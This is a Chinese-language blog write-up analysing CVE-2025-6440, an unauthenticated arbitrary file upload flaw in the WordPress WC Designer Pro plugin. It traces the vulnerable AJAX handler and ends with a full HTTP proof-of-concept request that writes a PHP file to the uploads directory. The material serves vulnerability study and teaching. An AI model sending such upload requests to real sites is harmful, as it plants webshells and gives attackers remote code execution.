文章总结: WordPressWCDesignerPro插件存在CVE-2025-6440任意文件上传漏洞。该插件通过wpajaxnopriv钩子注册未授权AJAX接口wcdpsavecanvasdesign_ajax,允许未登录用户访问。函数中$params[uniq]参数未过滤路径遍历字符,且$file[ext]后缀无白名单校验,导致攻击者可构造恶意JSON数据上传PHPWebshell至wp-content/uploads目录,实现远程代码执行。 综合评分: 78 文章分类: 漏洞分析,WEB安全,漏洞POC,安全运营,应用安全
WordPress WC Designer Pro(CVE-2025-6440)分析
原创
仰恩网安校队 仰恩网安校队
GET不到的FLAG
2026年2月9日 21:46 福建
WC Designer Pro 插件存在任意文件上传漏洞。
路由入口分析
跟常规的 MVC 框架不同,WordPress 的插件入口通常不是直接访问某个 PHP 文件,而是通过统一的 AJAX 接口进行分发。
我们先看插件的主逻辑文件,全局搜索 add_action,可以看到如下代码:
// includes/wcdp-functions.phpadd_action( 'wp_ajax_wcdp_save_canvas_design_ajax', 'wcdp_save_canvas_design_ajax' );add_action( 'wp_ajax_nopriv_wcdp_save_canvas_design_ajax', 'wcdp_save_canvas_design_ajax' );
在这里可以看到注册了两个动作钩子。
wp_ajax_是给登录用户用的。wp_ajax_nopriv_是给未登录用户用的。
这里直接使用了 nopriv,意味着这个接口没有进行权限校验,游客也可以访问。 根据 WordPress 的机制,所有的 AJAX 请求都会汇总到 /wp-admin/admin-ajax.php 这个文件。
我们跟进去看一下 admin-ajax.php 是怎么处理的:
// wp-admin/admin-ajax.php 部分伪代码if ( ! empty( $_REQUEST['action'] ) ) { $action = $_REQUEST['action'];}if ( is_user_logged_in() ) { do_action( 'wp_ajax_' . $action );} else { // 如果未登录,拼接 wp_ajax_nopriv_ 前缀并执行 do_action( 'wp_ajax_nopriv_' . $action );}
也就是说,我们只需要向``http://127.0.0.1/wp-admin/admin-ajax.php 发送 POST 请求,并且带上 action=wcdp_save_canvas_design_ajax,就可以直接调用到 wcdp_save_canvas_design_ajax 这个函数。
这也就是我们找到的最终路径和入口。
漏洞函数分析
确定了入口和鉴权(无鉴权)后,我们跟进 wcdp_save_canvas_design_ajax 函数看看具体逻辑。
function wcdp_save_canvas_design_ajax(){ $data_params = isset($_POST['params']) ? $_POST['params'] : ''; $params = json_decode(stripslashes($data_params), true); // ...省略部分代码... $upload_dir = wp_upload_dir(); $base_dir = $upload_dir['basedir'] . '/wcdp-uploads'; if( isset($params['mode']) && $params['mode'] == 'save' ){ $target_path = $base_dir . '/temp/' . $params['uniq'] . '/'; } // ...省略部分代码...}
在这里可以看到对象 $params 是从 POST 的 params 参数中获取并经过 json_decode 解析的。 重点看 $target_path 的拼接逻辑:$base_dir 是写死的上传目录,但是后面的 $params['uniq'] 是完全可控的。
这里并没有对 uniq 进行 ../ 或者非法字符的检测,直接拼接进了路径。
继续往下跟,看看文件是怎么写入的:
if( isset($params['files']) ){ foreach( $params['files'] as $file ){ $file_name = $file['name'] . '.' . $file['ext']; $save_path = $target_path . $file_name; if( isset($_FILES[ $file['count'] ]) ){ $file_content = file_get_contents($_FILES[ $file['count'] ]['tmp_name']); file_put_contents( $save_path, $file_content ); } } } echo json_encode(array('success' => 1)); die();
代码逻辑非常清晰:
- 遍历
$params['files']数组。 - 文件名
$file_name直接由$file['name']和$file['ext']拼接而成。 - 这里没有任何白名单验证,直接信任了前端传入的
ext。 - 最后调用
file_put_contents写入文件。
这就导致了我们可以通过构造 JSON 数据,控制文件名、后缀名以及上传目录,从而上传 Webshell。
漏洞复现
根据前面的路由分析,我们需要构造一个 multipart/form-data 数据包。action 决定了调用哪个函数,params 决定了具体的逻辑。
构造如下请求: POST 路径:/wp-admin/admin-ajax.php
HTTP
POST /wp-admin/admin-ajax.php HTTP/1.1Host: 127.0.0.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="action"wcdp_save_canvas_design_ajax------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="params"{"mode":"save","uniq":"test_vuln","files":[{"name":"cmd","ext":"php","count":"file_upload"}]}------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="file_upload"; filename="cmd.php"Content-Type: application/octet-stream<?php phpinfo(); ?>------WebKitFormBoundary7MA4YWxkTrZu0gW--
在这里,uniq 定义了子目录为 test_vuln,name 和 ext 定义了文件名为 cmd.php。count 对应的是下方文件上传域的 name 值 file_upload。
发送数据包后,返回 {"success":1}。
根据代码逻辑 $base_dir . '/temp/' . $params['uniq'],我们可以推算出 shell 的地址:http://127.0.0.1/wp-content/uploads/wcdp-uploads/temp/test_vuln/cmd.php
访问该地址,成功执行 PHP 代码。
这里没有复现的图片是因为这是之前比较早分析的代码,环境重新搭起来比较麻烦,就没有搞了
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:GET不到的FLAG 仰恩网安校队 仰恩网安校队《WordPress WC Designer Pro(CVE-2025-6440)分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论